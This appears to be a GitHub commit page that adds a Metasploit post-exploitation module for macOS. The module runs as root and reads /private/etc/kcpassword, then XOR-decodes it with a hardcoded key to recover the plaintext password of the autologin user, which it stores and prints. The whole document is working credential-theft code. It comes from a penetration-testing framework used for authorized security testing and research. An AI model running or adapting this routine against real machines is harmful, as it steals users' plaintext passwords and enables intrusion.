Skip to content

Commit 4cb788b

Browse files
committed
Adds osx autologin password post module.
1 parent f402f4c commit 4cb788b

File tree

1 file changed

+81
-0
lines changed

1 file changed

+81
-0
lines changed
Lines changed: 81 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Post
9+
include Msf::Post::File
10+
11+
# extract/verify by by XORing your kcpassword with your password
12+
AUTOLOGIN_XOR_KEY = [0x7D, 0x89, 0x52, 0x23, 0xD2, 0xBC, 0xDD, 0xEA, 0xA3, 0xB9, 0x1F]
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'OSX Gather Autologin Password as Root',
17+
'Description' => %q{
18+
This module will steal the plaintext password of any user on the machine
19+
with autologin enabled. Root access is required.
20+
21+
When a user has autologin enabled (System Preferences -> Accounts), OSX
22+
stores their password with an XOR encoding in /private/etc/kcpassword.
23+
},
24+
'License' => MSF_LICENSE,
25+
'Author' => [ 'joev' ],
26+
'Platform' => [ 'osx' ],
27+
'References' => [
28+
['URL', 'http://www.brock-family.org/gavin/perl/kcpassword.html']
29+
],
30+
'SessionTypes' => [ 'shell', 'meterpreter' ]
31+
))
32+
33+
register_advanced_options([
34+
OptString.new('KCPASSWORD_PATH', [true, 'Path to kcpassword file', '/private/etc/kcpassword'])
35+
], self.class)
36+
end
37+
38+
def run
39+
# ensure the user is root (or can read the kcpassword)
40+
if not user == 'root'
41+
fail_with "Root privileges required to read kcpassword"
42+
end
43+
44+
# read the autologin account from prefs plist
45+
autouser = cmd_exec('defaults read /Library/Preferences/com.apple.loginwindow "autoLoginUser" "username"')
46+
if autouser.present?
47+
print_status "User #{autouser} has autologin enabled, decoding password..."
48+
else
49+
fail_with "No users on this machine have autologin enabled."
50+
end
51+
52+
# kcpass contains the XOR'd bytes
53+
kcpass = read_file(kcpassword_path)
54+
key = AUTOLOGIN_XOR_KEY
55+
56+
# decoding routing, slices into 11 byte chunks and XOR's each chunk
57+
decoded = kcpass.bytes.to_a.each_slice(key.length).map do |kc|
58+
kc.each_with_index.map { |byte, idx| byte ^ key[idx] }.map(&:chr).join
59+
end.join.sub(/\x00.*$/, '')
60+
61+
# save in the database
62+
report_auth_info(
63+
:host => session.session_host,
64+
:sname => 'login',
65+
:user => autouser,
66+
:pass => decoded,
67+
:active => true
68+
)
69+
print_good "Decoded autologin password: #{autouser}:#{decoded}"
70+
end
71+
72+
private
73+
74+
def kcpassword_path
75+
datastore['KCPASSWORD_PATH']
76+
end
77+
78+
def user
79+
@user ||= cmd_exec('whoami').chomp
80+
end
81+
end

0 commit comments

Comments
 (0)